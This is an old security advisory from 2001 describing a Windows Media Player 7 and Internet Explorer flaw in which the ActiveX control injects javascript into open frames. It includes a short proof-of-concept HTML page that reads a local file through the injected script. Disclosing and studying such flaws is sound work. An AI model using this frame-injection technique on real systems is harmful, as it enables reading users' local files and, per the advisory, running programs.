guninski31.txt

`Georgi Guninski security advisory #31, 2001  
  
Windows Media Player 7 and IE vulnerability - executing arbitrary programs  
  
Systems affected:  
Windows Media Player 7 and IE  
  
Risk: High  
Date: 1 January 2001  
  
Legal Notice:  
This Advisory is Copyright (c) 2000 Georgi Guninski. You may distribute it unmo  
dified.  
You may not modify it and distribute it or distribute parts of it without the a  
uthor's  
written permission.  
  
Disclaimer:  
The opinions expressed in this advisory and program are my own and not of any c  
ompany.  
The usual standard disclaimer applies, especially the fact that Georgi Guninski  
is not liable for any damages caused by direct or indirect use of the informat  
ion  
or functionality provided by this advisory or program.  
Georgi Guninski, bears no responsibility for content or misuse of this advisory  
or program or  
any derivatives thereof.  
  
Description:  
  
There is a security vulnerability in Windows Media Player 7 exploitable thru IE  
which allows reading local files which in turn allows executing arbitratrary pr  
ograms.  
This may lead to taking full control over user's computer.  
  
Details:  
The problem is the WMP ActiveX Control which allows launching javascript URLs i  
n arbitrary  
already open frames. This allows taking over the frames's DOM. Examine the code  
for more  
info.  
  
The code is:  
--------wmp7ie.html------------------------------------------------  
<object id="o1" classid="clsid:6BF52A52-394A-11D3-B153-00C04F79FAA6">  
<PARAM NAME="defaultFrame" value="georgi">  
</object>  
<SCRIPT>  
alert("This page reads C:\\test.txt");  
window.open("file://c:/test.txt","georgi");  
function f()  
{  
document.o1.object.launchURL("javascript:alert(document.body.innerText)");  
}  
setTimeout("f()",1000);  
</SCRIPT>  
---------------------------------------------------------------------  
  
Workaround:  
Disable Active Scripting.  
  
Demonstration is available at:  
http://www.guninski.com/wmp7ie.html  
  
Vendor status:  
Microsoft was contacted on 26 December 2000.  
  
Regards,  
Georgi Guninski  
http://www.guninski.com  
`